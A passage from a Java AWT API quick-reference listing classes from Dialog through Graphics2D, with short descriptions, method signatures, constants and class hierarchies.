In Personal Java environments, support for modeless dialogs is optional, and the Dialog() constructors can throw an exception if you attempt to create a modeless dialog. Also, the setResizable() method is optional, and calls to it can be ignored.

public class Dialog extends Window {
// | Public Constructors
1.1 | public Dialog (Frame owner); |
1.2 | public Dialog (Dialog owner); |
1.2 | public Dialog (Dialog owner, String title); |
1.1 | public Dialog (Frame owner, String title); |
 | public Dialog (Frame owner, boolean modal); |
 | public Dialog (Frame owner, String title, boolean modal); |
1.2 | public Dialog (Dialog owner, String title, boolean modal); |
// | Property Accessor Methods (by property name)
 | public boolean isModal (); |
1.1 | public void setModal (boolean b); |
 | public boolean isResizable (); |
 | public void setResizable (boolean resizable); |
 | public String getTitle (); |
 | public void setTitle (String title); | synchronized
// | Public Methods Overriding Window
 | public void addNotify (); |
1.2 | public void dispose (); |
1.2 | public void hide (); |
1.1 | public void show (); |
// | Protected Methods Overriding Container
 | protected String paramString (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->Container-->Window-->Dialog

Subclasses: FileDialog, javax.swing.JDialog

Passed To: Dialog.Dialog(), Toolkit.createDialog(), javax.swing.JDialog.JDialog()

Dimension | Java 1.0
java.awt | cloneable serializable PJ1.1

This class contains two integer fields that describe a width and a height of something. The fields are public and can be manipulated directly.

In Java 1.0 and Java 1.1, Dimension is a subclass of Object. In Java 1.2, with the introduction of Java 2D, it has become a concrete subclass of java.awt.geom.Dimension2D. Contrast Dimension with Dimension2D,which represents the width and height with double values.

public class Dimension extends java.awt.geom.Dimension2D implements Serializable {
// | Public Constructors
 | public Dimension (); |
 | public Dimension (Dimension d); |
 | public Dimension (int width, int height); |
// | Public Instance Methods
1.1 | public Dimension getSize (); |
1.1 | public void setSize (Dimension d); |
1.1 | public void setSize (int width, int height); |
// | Public Methods Overriding Dimension2D
1.2 | public double getHeight (); | default:0.0
1.2 | public double getWidth (); | default:0.0
1.2 | public void setSize (double width, double height); |
// | Public Methods Overriding Object
1.1 | public boolean equals (Object obj); |
 | public String toString (); |
// | Public Instance Fields
 | public int height ; |
 | public int width ; |
}

Hierarchy: Object-->java.awt.geom.Dimension2D(Cloneable)-->Dimension(Serializable)

Subclasses: javax.swing.plaf.DimensionUIResource

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: javax.swing.JTable.preferredViewportSize

Event | Java 1.0
java.awt | serializable PJ1.1

This class contains public instance variables that describe some kind of GUI event. In Java 1.1, this class has been superseded by AWTEvent and the java.awt.event package.

The class contains a large number of constants. Some of the constants specify the event type and are values for the id variable. Other constants are values for keys, such as the function keys, that do not have ASCII (Latin-1) values and are set on the key field. Other constants are mask values that are ORed into the modifiers field to describe the state of the modifier keys on the keyboard. The target field is very important--it is the object for which the event occurred. The when field specifies when the event occurred. The x and y fields specify the mouse coordinates at which it occurred. Finally, the arg field is a value specific to the type of the event. Not all fields have valid values for all types of events.

public class Event implements Serializable {
// | Public Constructors
 | public Event (Object target, int id, Object arg); |
 | public Event (Object target, long when, int id, int x, int y, int key, int modifiers); |
 | public Event (Object target, long when, int id, int x, int y, int key, int modifiers, Object arg); |
// | Public Constants
 | public static final int ACTION_EVENT ; | =1001
 | public static final int ALT_MASK ; | =8
1.1 | public static final int BACK_SPACE ; | =8
1.1 | public static final int CAPS_LOCK ; | =1022
 | public static final int CTRL_MASK ; | =2
1.1 | public static final int DELETE ; | =127
 | public static final int DOWN ; | =1005
 | public static final int END ; | =1001
1.1 | public static final int ENTER ; | =10
1.1 | public static final int ESCAPE ; | =27
 | public static final int F1 ; | =1008
 | public static final int F10 ; | =1017
 | public static final int F11 ; | =1018
 | public static final int F12 ; | =1019
 | public static final int F2 ; | =1009
 | public static final int F3 ; | =1010
 | public static final int F4 ; | =1011
 | public static final int F5 ; | =1012
 | public static final int F6 ; | =1013
 | public static final int F7 ; | =1014
 | public static final int F8 ; | =1015
 | public static final int F9 ; | =1016
 | public static final int GOT_FOCUS ; | =1004
 | public static final int HOME ; | =1000
1.1 | public static final int INSERT ; | =1025
 | public static final int KEY_ACTION ; | =403
 | public static final int KEY_ACTION_RELEASE ; | =404
 | public static final int KEY_PRESS ; | =401
 | public static final int KEY_RELEASE ; | =402
 | public static final int LEFT ; | =1006
 | public static final int LIST_DESELECT ; | =702
 | public static final int LIST_SELECT ; | =701
 | public static final int LOAD_FILE ; | =1002
 | public static final int LOST_FOCUS ; | =1005
 | public static final int META_MASK ; | =4
 | public static final int MOUSE_DOWN ; | =501
 | public static final int MOUSE_DRAG ; | =506
 | public static final int MOUSE_ENTER ; | =504
 | public static final int MOUSE_EXIT ; | =505
 | public static final int MOUSE_MOVE ; | =503
 | public static final int MOUSE_UP ; | =502
1.1 | public static final int NUM_LOCK ; | =1023
1.1 | public static final int PAUSE ; | =1024
 | public static final int PGDN ; | =1003
 | public static final int PGUP ; | =1002
1.1 | public static final int PRINT_SCREEN ; | =1020
 | public static final int RIGHT ; | =1007
 | public static final int SAVE_FILE ; | =1003
 | public static final int SCROLL_ABSOLUTE ; | =605
1.1 | public static final int SCROLL_BEGIN ; | =606
1.1 | public static final int SCROLL_END ; | =607
 | public static final int SCROLL_LINE_DOWN ; | =602
 | public static final int SCROLL_LINE_UP ; | =601
1.1 | public static final int SCROLL_LOCK ; | =1021
 | public static final int SCROLL_PAGE_DOWN ; | =604
 | public static final int SCROLL_PAGE_UP ; | =603
 | public static final int SHIFT_MASK ; | =1
1.1 | public static final int TAB ; | =9
 | public static final int UP ; | =1004
 | public static final int WINDOW_DEICONIFY ; | =204
 | public static final int WINDOW_DESTROY ; | =201
 | public static final int WINDOW_EXPOSE ; | =202
 | public static final int WINDOW_ICONIFY ; | =203
 | public static final int WINDOW_MOVED ; | =205
// | Public Instance Methods
 | public boolean controlDown (); |
 | public boolean metaDown (); |
 | public boolean shiftDown (); |
 | public void translate (int x, int y); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Methods
 | protected String paramString (); |
// | Public Instance Fields
 | public Object arg ; |
 | public int clickCount ; |
 | public Event evt ; |
 | public int id ; |
 | public int key ; |
 | public int modifiers ; |
 | public Object target ; |
 | public long when ; |
 | public int x ; |
 | public int y ; |
}

Hierarchy: Object-->Event(Serializable)

Passed To: Too many methods to list.

Type Of: Event.evt

EventQueue | Java 1.1
java.awt | PJ1.1

This class implements an event queue for AWT events in Java 1.1. When an EventQueue is created, a new thread is automatically created and started to remove events from the front of the queue and dispatch them to the appropriate component. It is this thread, created by the EventQueue, that notifies event listeners and executes most of the code in a typical GUI-driven application.

An application can create and use its own private EventQueue, but all AWT events are placed on and dispatched from a single system EventQueue. Use the getSystemEventQueue() method of the Toolkit class to get the system EventQueue object.

getNextEvent() removes and returns the event at the front of the queue. It blocks if there are no events in the queue. peekEvent() returns the event at the front of the queue without removing it from the queue. Passed an optional AWTEventid field, it returns the first event of the specified type. Finally, postEvent() places a new event on the end of the event queue.

In Java 1.2, EventQueue defines three useful static methods. isDispatchThread() returns true if the calling thread is the AWT event dispatch thread. To avoid thread-safety issues, all modifications to AWT and Swing components should be done from this dispatch thread. If another thread needs to operate on a component, it should wrap the desired operation in a Runnable object and pass that object to invokeLater() or invokeAndWait(). These methods bundle the Runnable object into an ActiveEvent that is placed on the queue. When the ActiveEvent reaches the head of the queue, the Runnable code is invoked by the event dispatch thread and can safely modify any AWT and Swing components. invokeLater() returns immediately, while invokeAndWait() blocks until the Runnable code has been run. It is an error to call invokeAndWait() from the event dispatch thread itself. See also ActiveEvent and javax.swing.SwingUtilities. Except for these useful static methods, most applications do not need to use the EventQueue class at all; they can simply rely on the system to dispatch events automatically.

public class EventQueue {
// | Public Constructors
 | public EventQueue (); |
// | Public Class Methods
1.2 | public static void invokeAndWait (Runnable runnable) throws InterruptedException, java.lang.reflect.InvocationTargetException; |
1.2 | public static void invokeLater (Runnable runnable); |
1.2 | public static boolean isDispatchThread (); |
// | Public Instance Methods
 | public AWTEvent getNextEvent () throws InterruptedException; | synchronized
 | public AWTEvent peekEvent (); | synchronized
 | public AWTEvent peekEvent (int id); | synchronized
 | public void postEvent (AWTEvent theEvent); |
1.2 | public void push (EventQueue newEventQueue); | synchronized
// | Protected Instance Methods
1.2 | protected void dispatchEvent (AWTEvent event); |
1.2 | protected void pop () throws java.util.EmptyStackException; |
}

Passed To: EventQueue.push()

Returned By: Toolkit.{getSystemEventQueue(), getSystemEventQueueImpl()}

FileDialog | Java 1.0
java.awt | serializable AWT component PJ1.1(opt)

This class represents a file selection dialog box. The constants LOAD and SAVE are values of an optional constructor argument that specifies whether the dialog should be an Open File dialog or a Save As dialog. You may specify a FilenameFilter object to control the files that are displayed in the dialog.

The inherited show() method pops the dialog up. For dialogs of this type, show() blocks, not returning until the user has selected a file and dismissed the dialog (which pops down automatically--you don't have to call hide()). Once show() has returned, use getFile() to get the name of the file the user selected.

public class FileDialog extends Dialog {
// | Public Constructors
1.1 | public FileDialog (Frame parent); |
 | public FileDialog (Frame parent, String title); |
 | public FileDialog (Frame parent, String title, int mode); |
// | Public Constants
 | public static final int LOAD ; | =0
 | public static final int SAVE ; | =1
// | Property Accessor Methods (by property name)
 | public String getDirectory (); |
 | public void setDirectory (String dir); |
 | public String getFile (); |
 | public void setFile (String file); |
 | public java.io.FilenameFilter getFilenameFilter (); |
 | public void setFilenameFilter (java.io.FilenameFilter filter); | synchronized
 | public int getMode (); |
1.1 | public void setMode (int mode); |
// | Public Methods Overriding Dialog
 | public void addNotify (); |
// | Protected Methods Overriding Dialog
 | protected String paramString (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->Container-->Window-->Dialog-->FileDialog

Passed To: Toolkit.createFileDialog()

FlowLayout | Java 1.0
java.awt | serializable layout manager PJ1.1

A LayoutManager that arranges components in a container likes words on a page: from left to right and top to bottom. It fits as many components as it can in a row before moving on to the next row. The constructor allows you to specify one of five constants as an alignment value for the rows. LEFT, CENTER, and RIGHT specify left, center, and right alignment, obviously. LEADING and TRAILING alignment are the same as LEFT and RIGHT alignment in locales where writing is done left to right, but they have the opposite meaning in locales where writing is done primarily right to left. You can also specify the horizontal spacing between components and the vertical spacing between rows.

Applications should never call the LayoutManager methods of this class directly; the Container for which the FlowLayout is registered does this.

public class FlowLayout implements LayoutManager, Serializable {
// | Public Constructors
 | public FlowLayout (); |
 | public FlowLayout (int align); |
 | public FlowLayout (int align, int hgap, int vgap); |
// | Public Constants
 | public static final int CENTER ; | =1
1.2 | public static final int LEADING ; | =3
 | public static final int LEFT ; | =0
 | public static final int RIGHT ; | =2
1.2 | public static final int TRAILING ; | =4
// | Property Accessor Methods (by property name)
1.1 | public int getAlignment (); | default:1
1.1 | public void setAlignment (int align); |
1.1 | public int getHgap (); | default:5
1.1 | public void setHgap (int hgap); |
1.1 | public int getVgap (); | default:5
1.1 | public void setVgap (int vgap); |
// | Methods Implementing LayoutManager
 | public void addLayoutComponent (String name, Component comp); | empty
 | public void layoutContainer (Container target); |
 | public Dimension minimumLayoutSize (Container target); |
 | public Dimension preferredLayoutSize (Container target); |
 | public void removeLayoutComponent (Component comp); | empty
// | Public Methods Overriding Object
 | public String toString (); |
}

Hierarchy: Object-->FlowLayout(LayoutManager,Serializable)

Font | Java 1.0
java.awt | serializable PJ1.1

This class represents a font. The Font() constructor is passed a name, a style, and a point size. The style should be one of the constants PLAIN, BOLD, or ITALIC or the sum BOLD+ITALIC.

The allowed font names have changed with each release of Java. In Java 1.0, the supported font names are "TimesRoman", "Helvetica", "Courier", "Dialog", "DialogInput", and "Symbol". In Java 1.1, "serif", "sansserif", and "monospaced" should be used in preference to the first three names.

With the introduction of Java 2D, you may continue to use these logical names, but you are not limited to them. In Java 1.2, you may specify the name of any font family available on the system. These are names such as "Times New Roman," "Arial," "New Century Schoolbook," "Bookman," and so on. You can obtain a list of available font families by calling the getAvailableFontFamilyNames() method of GraphicsEnvironment. You may also pass the name of a specific font face to the Font() constructor. These are names such as "Copperplate DemiBold Oblique." When you specify the name of a specific font face, you typically specify a font style of PLAIN, since the style you want is implicit in the name.

With Java 1.2, you can also create a font by passing a Map object that contains attribute names and values to either the Font() constructor or the static getFont() method. The attribute names and values are defined by java.awt.font.TextAttribute. The TextAttribute constants FAMILY, WEIGHT, POSTURE, and SIZE identify the attributes of interest.

In Java 1.2, new fonts can be derived from old fonts in a variety of ways, using the deriveFont() methods. Most generally, the glyphs of a font may all be transformed with the specified AffineTransform.

If you need to know the height or width (or other metrics) of characters or strings drawn using a Font, call the getFontMetrics() method of a Graphics object to obtain a FontMetrics object. The methods of this object return font measurement information as integer values. In Java 1.2, you can obtain higher-precision floating-point font measurements with the getLineMetrics(), getMaxCharBounds(), and getStringBounds() methods of a Font. These methods require a FontRenderContext, which is obtained by calling the getFontRenderContext() method of Graphics2D.

The canDisplay() method tests whether a Font can display a given character (i.e., whether the font contains a glyph for that character). canDisplayUpTo() tests whether the Font can display all the characters in a string and returns the index of the first character it cannot display.

public class Font implements Serializable {
// | Public Constructors
1.2 | public Font (java.util.Map attributes); |
 | public Font (String name, int style, int size); |
// | Public Constants
 | public static final int BOLD ; | =1
1.2 | public static final int CENTER_BASELINE ; | =1
1.2 | public static final int HANGING_BASELINE ; | =2
 | public static final int ITALIC ; | =2
 | public static final int PLAIN ; | =0
1.2 | public static final int ROMAN_BASELINE ; | =0
// | Public Class Methods
1.1 | public static Font decode (String str); |
1.2 | public static Font getFont (java.util.Map attributes); |
 | public static Font getFont (String nm); |
 | public static Font getFont (String nm, Font font); |
// | Property Accessor Methods (by property name)
1.2 | public java.util.Map getAttributes (); |
1.2 | public java.text.AttributedCharacterIterator.Attribute[ ] getAvailableAttributes (); |
 | public boolean isBold (); |
 | public String getFamily (); |
1.2 | public String getFamily (java.util.Locale l); |
1.2 | public String getFontName (); |
1.2 | public String getFontName (java.util.Locale l); |
 | public boolean isItalic (); |
1.2 | public float getItalicAngle (); |
1.2 | public int getMissingGlyphCode (); |
 | public String getName (); |
1.2 | public int getNumGlyphs (); |
 | public boolean isPlain (); |
1.2 | public String getPSName (); |
 | public int getSize (); |
1.2 | public float getSize2D (); |
 | public int getStyle (); |
1.2 | public java.awt.geom.AffineTransform getTransform (); |
// | Public Instance Methods
1.2 | public boolean canDisplay (char c); |
1.2 | public int canDisplayUpTo (String str); |
1.2 | public int canDisplayUpTo (char[ ] text, int start, int limit); |
1.2 | public int canDisplayUpTo (java.text.CharacterIterator iter, int start, int limit); |
1.2 | public java.awt.font.GlyphVector createGlyphVector (java.awt.font.FontRenderContext frc, java.text.CharacterIterator ci); |
1.2 | public java.awt.font.GlyphVector createGlyphVector (java.awt.font.FontRenderContext frc, char[ ] chars); |
1.2 | public java.awt.font.GlyphVector createGlyphVector (java.awt.font.FontRenderContext frc, int[ ] glyphCodes); |
1.2 | public java.awt.font.GlyphVector createGlyphVector (java.awt.font.FontRenderContext frc, String str); |
1.2 | public Font deriveFont (float size); |
1.2 | public Font deriveFont (int style); |
1.2 | public Font deriveFont (java.awt.geom.AffineTransform trans); |
1.2 | public Font deriveFont (java.util.Map attributes); |
1.2 | public Font deriveFont (int style, java.awt.geom.AffineTransform trans); |
1.2 | public Font deriveFont (int style, float size); |
1.2 | public byte getBaselineFor (char c); |
1.2 | public java.awt.font.LineMetrics getLineMetrics (String str, java.awt.font.FontRenderContext frc); |
1.2 | public java.awt.font.LineMetrics getLineMetrics (char[ ] chars, int beginIndex, int limit, java.awt.font.FontRenderContext frc); |
1.2 | public java.awt.font.LineMetrics getLineMetrics (java.text.CharacterIterator ci, int beginIndex, int limit, java.awt.font.FontRenderContext frc); |
1.2 | public java.awt.font.LineMetrics getLineMetrics (String str, int beginIndex, int limit, java.awt.font.FontRenderContext frc); |
1.2 | public java.awt.geom.Rectangle2D getMaxCharBounds (java.awt.font.FontRenderContext frc); |
1.2 | public java.awt.geom.Rectangle2D getStringBounds (String str, java.awt.font.FontRenderContext frc); |
1.2 | public java.awt.geom.Rectangle2D getStringBounds (char[ ] chars, int beginIndex, int limit, java.awt.font.FontRenderContext frc); |
1.2 | public java.awt.geom.Rectangle2D getStringBounds (java.text.CharacterIterator ci, int beginIndex, int limit, java.awt.font.FontRenderContext frc); |
1.2 | public java.awt.geom.Rectangle2D getStringBounds (String str, int beginIndex, int limit, java.awt.font.FontRenderContext frc); |
1.2 | public boolean hasUniformLineMetrics (); | constant
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
// | Protected Methods Overriding Object
1.2 | protected void finalize () throws Throwable; |
// | Protected Instance Fields
 | protected String name ; |
1.2 | protected float pointSize ; |
 | protected int size ; |
 | protected int style ; |
// | Deprecated Public Methods
1.1# | public java.awt.peer.FontPeer getPeer (); |
}

Hierarchy: Object-->Font(Serializable)

Subclasses: javax.swing.plaf.FontUIResource

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: FontMetrics.font, javax.swing.border.TitledBorder.titleFont, javax.swing.tree.DefaultTreeCellEditor.font

FontMetrics | Java 1.0
java.awt | serializable PJ1.1

This class represents font metrics for a specified Font. The methods allow you to determine the overall metrics for the font (ascent, descent, and so on) and compute the width of strings that are to be displayed in a particular font. The FontMetrics() constructor is protected; you can obtain a FontMetrics object for a font with the getFontMetrics() method of Component, Graphics, or Toolkit.

In Java 1.2, with the introduction of Java 2D, you can obtain more precise (floating-point) metrics using the getLineMetrics(), getMaxCharBounds(), and getStringBounds() methods of FontMetrics or a Font object itself. See also java.awt.font.LineMetrics.

public abstract class FontMetrics implements Serializable {
// | Protected Constructors
 | protected FontMetrics (Font font); |
// | Property Accessor Methods (by property name)
 | public int getAscent (); |
 | public int getDescent (); | constant
 | public Font getFont (); |
 | public int getHeight (); |
 | public int getLeading (); | constant
 | public int getMaxAdvance (); | constant
 | public int getMaxAscent (); |
 | public int getMaxDescent (); |
 | public int[ ] getWidths (); |
// | Public Instance Methods
 | public int bytesWidth (byte[ ] data, int off, int len); |
 | public int charsWidth (char[ ] data, int off, int len); |
 | public int charWidth (int ch); |
 | public int charWidth (char ch); |
1.2 | public java.awt.font.LineMetrics getLineMetrics (String str, Graphics context); |
1.2 | public java.awt.font.LineMetrics getLineMetrics (char[ ] chars, int beginIndex, int limit, Graphics context); |
1.2 | public java.awt.font.LineMetrics getLineMetrics (java.text.CharacterIterator ci, int beginIndex, int limit, Graphics context); |
1.2 | public java.awt.font.LineMetrics getLineMetrics (String str, int beginIndex, int limit, Graphics context); |
1.2 | public java.awt.geom.Rectangle2D getMaxCharBounds (Graphics context); |
1.2 | public java.awt.geom.Rectangle2D getStringBounds (String str, Graphics context); |
1.2 | public java.awt.geom.Rectangle2D getStringBounds (char[ ] chars, int beginIndex, int limit, Graphics context); |
1.2 | public java.awt.geom.Rectangle2D getStringBounds (java.text.CharacterIterator ci, int beginIndex, int limit, Graphics context); |
1.2 | public java.awt.geom.Rectangle2D getStringBounds (String str, int beginIndex, int limit, Graphics context); |
1.2 | public boolean hasUniformLineMetrics (); |
 | public int stringWidth (String str); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Fields
 | protected Font font ; |
// | Deprecated Public Methods
# | public int getMaxDecent (); |
}

Hierarchy: Object-->FontMetrics(Serializable)

Passed To: javax.swing.SwingUtilities.{computeStringWidth(), layoutCompoundLabel()}, javax.swing.text.Utilities.{getBreakLocation(), getTabbedTextOffset(), getTabbedTextWidth()}

Returned By: Too many methods to list.

Type Of: javax.swing.text.PlainView.metrics

Frame | Java 1.0
java.awt | serializable AWT component PJ1.1(mod)

This class represents an optionally resizable top-level application window with a titlebar and other platform-dependent window decorations. setTitle() specifies a title, setMenuBar() specifies a menu bar, setCursor() specifies a cursor, and setIconImage() specifies an icon for the window. Call the pack() method of Window to initiate layout management of the window and set its initial size appropriately. Call the show() method of Window to make the window appear and be brought to the top of the window stack. Call setVisible(false) to make the window disappear. Call setState(Frame.ICONIFIED) to iconify the window, and call setState(Frame.NORMAL) to deiconify it. Use getState() to determine whether the window is iconified or not. Call the static getFrames() method to obtain an array of all Frame objects that have been created by the application or applet. Call the dispose() method when the Frame is no longer needed, so that it can release its window system resources for reuse.

The constants defined by this class specify various cursor types. As of Java 1.1, these constants and the cursor methods of Frame are deprecated in favor of the Cursor class and cursor methods of Component.

Personal Java environments can support only a single Frame object, and any calls to the Frame() constructor after the first can throw an exception.

public class Frame extends Window implements MenuContainer {
// | Public Constructors
 | public Frame (); |
 | public Frame (String title); |
// | Public Constants
1.2 | public static final int ICONIFIED ; | =1
1.2 | public static final int NORMAL ; | =0
// | Public Class Methods
1.2 | public static Frame[ ] getFrames (); |
// | Property Accessor Methods (by property name)
 | public Image getIconImage (); | default:null
 | public void setIconImage (Image image); | synchronized
 | public MenuBar getMenuBar (); | default:null
 | public void setMenuBar (MenuBar mb); |
 | public boolean isResizable (); | default:true
 | public void setResizable (boolean resizable); |
1.2 | public int getState (); | synchronized default:0
1.2 | public void setState (int state); | synchronized
 | public String getTitle (); | default:""
 | public void setTitle (String title); | synchronized
// | Methods Implementing MenuContainer
 | public void remove (MenuComponent m); |
// | Public Methods Overriding Window
 | public void addNotify (); |
// | Protected Methods Overriding Window
1.2 | protected void finalize () throws Throwable; |
// | Public Methods Overriding Container
1.2 | public void removeNotify (); |
// | Protected Methods Overriding Container
 | protected String paramString (); |
// | Deprecated Public Methods
# | public int getCursorType (); | default:0
# | public void setCursor (int cursorType); | synchronized
// | Deprecated Public Fields
# | public static final int CROSSHAIR_CURSOR ; | =1
# | public static final int DEFAULT_CURSOR ; | =0
# | public static final int E_RESIZE_CURSOR ; | =11
# | public static final int HAND_CURSOR ; | =12
# | public static final int MOVE_CURSOR ; | =13
# | public static final int N_RESIZE_CURSOR ; | =8
# | public static final int NE_RESIZE_CURSOR ; | =7
# | public static final int NW_RESIZE_CURSOR ; | =6
# | public static final int S_RESIZE_CURSOR ; | =9
# | public static final int SE_RESIZE_CURSOR ; | =5
# | public static final int SW_RESIZE_CURSOR ; | =4
# | public static final int TEXT_CURSOR ; | =2
# | public static final int W_RESIZE_CURSOR ; | =10
# | public static final int WAIT_CURSOR ; | =3
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->Container-->Window-->Frame(MenuContainer)

Subclasses: javax.swing.JFrame

Passed To: Too many methods to list.

Returned By: Frame.getFrames(), javax.swing.JOptionPane.{getFrameForComponent(), getRootFrame()}

GradientPaint Java 1.2
java.awt

This implementation of Paint fills shapes with a color gradient. To use a GradientPaint object for filling shapes, pass it to the setPaint() method of a Graphics2D object.

The color of the fill varies linearly between a color C1 and another color C2. The orientation of the color gradient is defined by a line between points P1 and P2. For example, if these points define a horizontal line, the color of the fill varies from left to right. If P1 is at the upper left of a rectangle and P2 is at the lower right, the fill color varies from upper left to lower right.

Color C1 is always used at point P1 and color C2 is used at P2. If the area to be filled includes points outside of the fill region defined by P1 and P2, these points can be filled in one of two ways. If the GradientPaint object is created with the cyclic constructor argument set to true, colors repeatedly cycle from C1 to C2 and back to C1 again. If cyclic is specified as false or if this argument is omitted, the gradient does not repeat. When an acyclic GradientPaint object is used, all points beyond P1 are given the color C1, and all points beyond C2 are given the color P2.

public class GradientPaint implements Paint {
// | Public Constructors
 | public GradientPaint (java.awt.geom.Point2D pt1, Color color1, java.awt.geom.Point2D pt2, Color color2); |
 | public GradientPaint (java.awt.geom.Point2D pt1, Color color1, java.awt.geom.Point2D pt2, Color color2, boolean cyclic); |
 | public GradientPaint (float x1, float y1, Color color1, float x2, float y2, Color color2); |
 | public GradientPaint (float x1, float y1, Color color1, float x2, float y2, Color color2, boolean cyclic); |
// | Property Accessor Methods (by property name)
 | public Color getColor1 (); |
 | public Color getColor2 (); |
 | public boolean isCyclic (); |
 | public java.awt.geom.Point2D getPoint1 (); |
 | public java.awt.geom.Point2D getPoint2 (); |
 | public int getTransparency (); | Implements:Transparency
// | Methods Implementing Paint
 | public PaintContext createContext (java.awt.image.ColorModel cm, Rectangle deviceBounds, java.awt.geom.Rectangle2D userBounds, java.awt.geom.AffineTransform xform, RenderingHints hints); |
// | Methods Implementing Transparency
 | public int getTransparency (); |
}

Hierarchy: Object-->GradientPaint(Paint(Transparency))

Graphics | Java 1.0
java.awt | PJ1.1(mod)

This abstract class defines a device-independent interface to graphics. It specifies methods for drawing lines, filling areas, painting images, copying areas, and clipping graphics output. Specific subclasses of Graphics are implemented for different platforms and different graphics output devices. A Graphics object cannot be created directly through a constructor--it must either be obtained with the getGraphics() method of a Component or an Image or copied from an existing Graphics object with create(). When a Graphics object is no longer needed, you should call dispose() to free up the window system resources it uses.

In Personal Java environments, the setXORMode() method may be unsupported.

public abstract class Graphics {
// | Protected Constructors
 | protected Graphics ();
// | Property Accessor Methods (by property name)
1.1 | public abstract Shape getClip ();
1.1 | public abstract void setClip (Shape clip);
1.1 | public abstract void setClip (int x, int y, int width, int height);
1.1 | public abstract Rectangle getClipBounds ();
1.2 | public Rectangle getClipBounds (Rectangle r);
 | public abstract Color getColor ();
 | public abstract void setColor (Color c);
 | public abstract Font getFont ();
 | public abstract void setFont (Font font);
 | public FontMetrics getFontMetrics ();
 | public abstract FontMetrics getFontMetrics (Font f);
// | Public Instance Methods
 | public abstract void clearRect (int x, int y, int width, int height);
 | public abstract void clipRect (int x, int y, int width, int height);
 | public abstract void copyArea (int x, int y, int width, int height, int dx, int dy);
 | public abstract Graphics create ();
 | public Graphics create (int x, int y, int width, int height);
 | public abstract void dispose ();
 | public void draw3DRect (int x, int y, int width, int height, boolean raised);
 | public abstract void drawArc (int x, int y, int width, int height, int startAngle, int arcAngle);
 | public void drawBytes (byte[ ] data, int offset, int length, int x, int y);
 | public void drawChars (char[ ] data, int offset, int length, int x, int y);
 | public abstract boolean drawImage (Image img, int x, int y, java.awt.image.ImageObserver observer);
 | public abstract boolean drawImage (Image img, int x, int y, Color bgcolor, java.awt.image.ImageObserver observer);
 | public abstract boolean drawImage (Image img, int x, int y, int width, int height, java.awt.image.ImageObserver observer);
 | public abstract boolean drawImage (Image img, int x, int y, int width, int height, Color bgcolor, java.awt.image.ImageObserver observer);
1.1 | public abstract boolean drawImage (Image img, int dx1, int dy1, int dx2, int dy2, int sx1, int sy1, int sx2, int sy2, java.awt.image.ImageObserver observer);
1.1 | public abstract boolean drawImage (Image img, int dx1, int dy1, int dx2, int dy2, int sx1, int sy1, int sx2, int sy2, Color bgcolor, java.awt.image.ImageObserver observer);
 | public abstract void drawLine (int x1, int y1, int x2, int y2);
 | public abstract void drawOval (int x, int y, int width, int height);
 | public void drawPolygon (Polygon p);
 | public abstract void drawPolygon (int[ ] xPoints, int[ ] yPoints, int nPoints);
1.1 | public abstract void drawPolyline (int[ ] xPoints, int[ ] yPoints, int nPoints);
 | public void drawRect (int x, int y, int width, int height);
 | public abstract void drawRoundRect (int x, int y, int width, int height, int arcWidth, int arcHeight);
1.2 | public abstract void drawString (java.text.AttributedCharacterIterator iterator, int x, int y);
 | public abstract void drawString (String str, int x, int y);
 | public void fill3DRect (int x, int y, int width, int height, boolean raised);
 | public abstract void fillArc (int x, int y, int width, int height, int startAngle, int arcAngle);
 | public abstract void fillOval (int x, int y, int width, int height);
 | public void fillPolygon (Polygon p);
 | public abstract void fillPolygon (int[ ] xPoints, int[ ] yPoints, int nPoints);
 | public abstract void fillRect (int x, int y, int width, int height);
 | public abstract void fillRoundRect (int x, int y, int width, int height, int arcWidth, int arcHeight);
1.2 | public boolean hitClip (int x, int y, int width, int height);
 | public abstract void setPaintMode ();
 | public abstract void setXORMode (Color c1);
 | public abstract void translate (int x, int y);
// | Public Methods Overriding Object
 | public void finalize ();
 | public String toString ();
// | Deprecated Public Methods
# | public Rectangle getClipRect ();
}

Subclasses: Graphics2D, javax.swing.DebugGraphics

Passed To: Too many methods to list.

Returned By: Component.getGraphics(), Graphics.create(), Image.getGraphics(), PrintJob.getGraphics(), java.awt.image.BufferedImage.getGraphics(), java.awt.peer.ComponentPeer.getGraphics(), javax.swing.DebugGraphics.create(), javax.swing.JComponent.{getComponentGraphics(), getGraphics()}

Graphics2D Java 1.2
java.awt

This class is the Java 2D graphics context that encapsulates all drawing and filling operations. It generalizes and extends the Graphics class. A number of attributes control how the Graphics2D object performs drawing and filling operations. You can set these attributes with the following methods:

setBackground()

Specifies the background color used by the clearRect() method of the Graphics object. Prior to Java 2D, the background color could not be set.

setClip()

Sets the clipping region, outside of which no drawing is done. This method is inherited from the Graphics object. Use setClip() to establish an initial clipping region and then use clip() to narrow that region by intersecting it with other regions.

setComposite()

Specifies a Composite object (typically an instance of AlphaComposite) that should be used to combine drawing colors with the colors that are already present on the drawing surface.

setFont()

Sets the default Font object used to draw text. This is a Graphics method, inherited by Graphics2D.

setPaint()

Specifies the Paint object that controls the color or pattern used for drawing. See Color, GradientPaint, and TexturePaint.

setRenderingHints()

Sets hints about how drawing should be done. This method allows you to turn antialiasing and color dithering on and off, for example. You can also set hints with addRenderingHints() and setRenderingHint().

setStroke()

Specifies the Stroke object (typically an instance of BasicStroke) used to trace the outline of shapes that are drawn. The Stroke object effectively defines the pen that is used for drawing operations.

setTransform()

Sets the AffineTransform object used to convert from user coordinates to device coordinates. Note that you do not usually call setTransform() directly, but instead modify the current transform with transform() or the more specific rotate(), scale(), shear(), and translate() methods.

Once you have used these methods to configure a Graphics2D object as desired, you can proceed to draw with it. The following methods are commonly used:

draw()

Draw the outline of a Shape, using the line style specified by the current Stroke object and the color or pattern specified by the current Paint object. The java.awt.geom package contains a number of commonly used implementations of the Shape interface.

fill()

Fill the interior of a Shape, using the color or pattern specified by the current Paint object.

drawString()

Draw the specified text using the specified Font object and Paint object. drawGlyphVector() is similar. See also the drawString() methods inherited from Graphics.

drawImage()

